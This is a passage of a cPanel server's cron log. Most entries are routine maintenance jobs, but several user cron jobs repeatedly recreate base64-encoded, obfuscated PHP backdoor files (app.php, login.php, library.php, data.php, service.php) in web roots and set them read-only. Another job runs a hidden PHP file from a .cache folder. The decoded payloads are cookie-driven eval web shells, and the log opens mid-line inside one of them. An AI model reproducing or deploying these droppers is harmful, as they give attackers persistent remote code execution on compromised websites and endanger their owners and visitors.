HhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:39:01 medusa CROND[28678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:39:01 medusa CROND[28736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:39:01 medusa CROND[28738]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:39:01 medusa CROND[28767]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 04:39:01 medusa CROND[28805]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:39:01 medusa CROND[28806]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:39:01 medusa CROND[28807]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:39:01 medusa CROND[28808]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:39:01 medusa CROND[28810]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:39:01 medusa CROND[28815]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:39:01 medusa CROND[28816]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:39:01 medusa CROND[28817]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:39:01 medusa CROND[28819]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:39:01 medusa CROND[28820]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20351]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 04:40:01 medusa CROND[20473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:40:01 medusa CROND[20472]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20474]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:40:01 medusa CROND[20477]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:40:01 medusa CROND[20478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 04:40:01 medusa CROND[20485]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 04:40:01 medusa CROND[20481]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 04:40:01 medusa CROND[20491]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20482]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20497]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:40:01 medusa CROND[20498]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:40:01 medusa CROND[20494]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:40:01 medusa CROND[20500]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:40:01 medusa CROND[20496]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20503]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20508]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:40:01 medusa CROND[20515]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20516]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 04:40:01 medusa CROND[20506]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:40:01 medusa CROND[20520]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:40:01 medusa CROND[20525]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 04:40:01 medusa CROND[20528]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:40:01 medusa CROND[20514]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:40:01 medusa CROND[20542]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 04:40:01 medusa CROND[20507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:40:01 medusa CROND[20529]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 04:41:01 medusa CROND[12424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:41:01 medusa CROND[12479]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:41:01 medusa CROND[12482]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
